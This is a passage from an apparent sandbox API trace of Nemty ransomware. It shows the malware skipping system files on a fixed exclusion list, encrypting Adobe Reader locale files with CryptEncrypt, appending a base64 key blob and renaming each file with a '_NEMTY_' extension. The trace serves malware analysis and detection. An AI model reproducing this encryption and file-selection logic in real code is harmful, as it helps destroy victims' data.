(normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\reflow.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\reflow.cze._nemty_kgobjgd_")) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.348] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dadb680, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.CZE", cAlternateFileName="SAVEAS~1.CZE")) returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2=".") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="..") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="...") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="windows") returned -1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="rsa") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="NTDETECT.COM") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="ntldr") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="MSDOS.SYS") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="IO.SYS") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="boot.ini") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="boot.ini") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="ntuser.dat") returned 1 [0174.348] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="desktop.ini") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="CONFIG.SYS") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="RECYCLER") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="bootmgr") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="programdata") returned 1 [0174.349] lstrcmpiW (lpString1="SaveAsRTF.CZE", lpString2="appdata") returned 1 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0174.349] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CZE", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CZE", lpUsedDefaultChar=0x0) returned 13 [0174.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.349] Sleep (dwMilliseconds=0x5) [0174.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b92ad10, dwHighDateTime=0x1d561e8)) [0174.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b92ad10, dwHighDateTime=0x1d561e8)) [0174.359] GetLastError () returned 0x0 [0174.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.359] GetLastError () returned 0x0 [0174.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.359] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.359] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/nsrYp7Pob1T0nqXl12mKuysMMr9laO3DAR2wNEZMPL65yLjCSIrrFQgkY0i5ISy\r\n3w3F9pzt+GGij1r4vv2Y6NHoJx+QhkTB7wqikgSeWashv2R8dRNG3fKmZEy86ZMf\r\nWAv+CCSYV0wO86HCzQRt9Y0oqNtAYbLZHNsr63rkzr9eiZgRYm2Jha7yldvVPT6p\r\n23CUkgkesSJ9B0izNDC0XFzEoj3RGlsToAtZ9k5RNKwV1I5FcawY+dIbuAWlA6h3\r\nzY9ipcPRkl+2rLI+CTSPtHzQ2htzDM4KQsFq5mfK1ujQZfvrwsR3JTuVa9gnkyd4\r\ne4VuJsHpjZI1EhtOrwFHRQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.360] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.360] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0174.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0174.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.361] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0174.365] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.365] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0174.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.365] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0174.365] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.365] CloseHandle (hObject=0x2e8) returned 1 [0174.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.365] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.365] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.366] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\SaveAsRTF.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\saveasrtf.cze._nemty_kgobjgd_")) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.366] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8322fda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.CZE", cAlternateFileName="")) returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2=".") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="..") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="...") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="windows") returned -1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="rsa") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="NTDETECT.COM") returned 1 [0174.366] lstrcmpiW (lpString1="Search.CZE", lpString2="ntldr") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="MSDOS.SYS") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="IO.SYS") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="boot.ini") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="boot.ini") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="ntuser.dat") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="desktop.ini") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="CONFIG.SYS") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="RECYCLER") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="bootmgr") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="programdata") returned 1 [0174.367] lstrcmpiW (lpString1="Search.CZE", lpString2="appdata") returned 1 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0174.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.CZE", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.CZE", lpUsedDefaultChar=0x0) returned 10 [0174.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.367] Sleep (dwMilliseconds=0x5) [0174.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b950e70, dwHighDateTime=0x1d561e8)) [0174.374] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b950e70, dwHighDateTime=0x1d561e8)) [0174.374] GetLastError () returned 0x0 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.375] GetLastError () returned 0x0 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.375] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.375] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.375] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.375] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="0Y44z6SyXa7NAE0C7b1Yh2Yrsdz5v0eUOgQkv/vPxAFq69LJGxRCAs67siI7RT/V\r\nOmKOi5ybulaxgpZKnXqZFyXDbvQ72yCJi3WfSKgR2QBnLR8RojPkB8iWYJ7otCl3\r\n1Sx0Y9+TZFD/uNN8pNfc3cmSPn+idKBUe8b7ZC6bMfz793CzIRi+oOwsoTF8T6lH\r\nYUUToH5tIXGcGbNJonmeig6lYNjRnoQGgMB8fGvml5cM05eOl7y7VQ49+nxljoh8\r\n3yhV7li280nuY1xJU0c/6gpUYkDScik2Aj+eW5sYwkwSSDkiebwO/0xPGvvThOhg\r\nhpyLMUm4EbRk5treeiWuAA==\r\n", pcchString=0x653e5dc) returned 1 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.375] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Search.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\search.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.376] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23040) returned 1 [0174.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5a00) returned 0x6352c48 [0174.376] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.376] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5a00, lpOverlapped=0x0) returned 1 [0174.379] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.379] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5a00, lpOverlapped=0x0) returned 1 [0174.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.379] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00 [0174.379] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.379] CloseHandle (hObject=0x2e8) returned 1 [0174.379] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.379] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 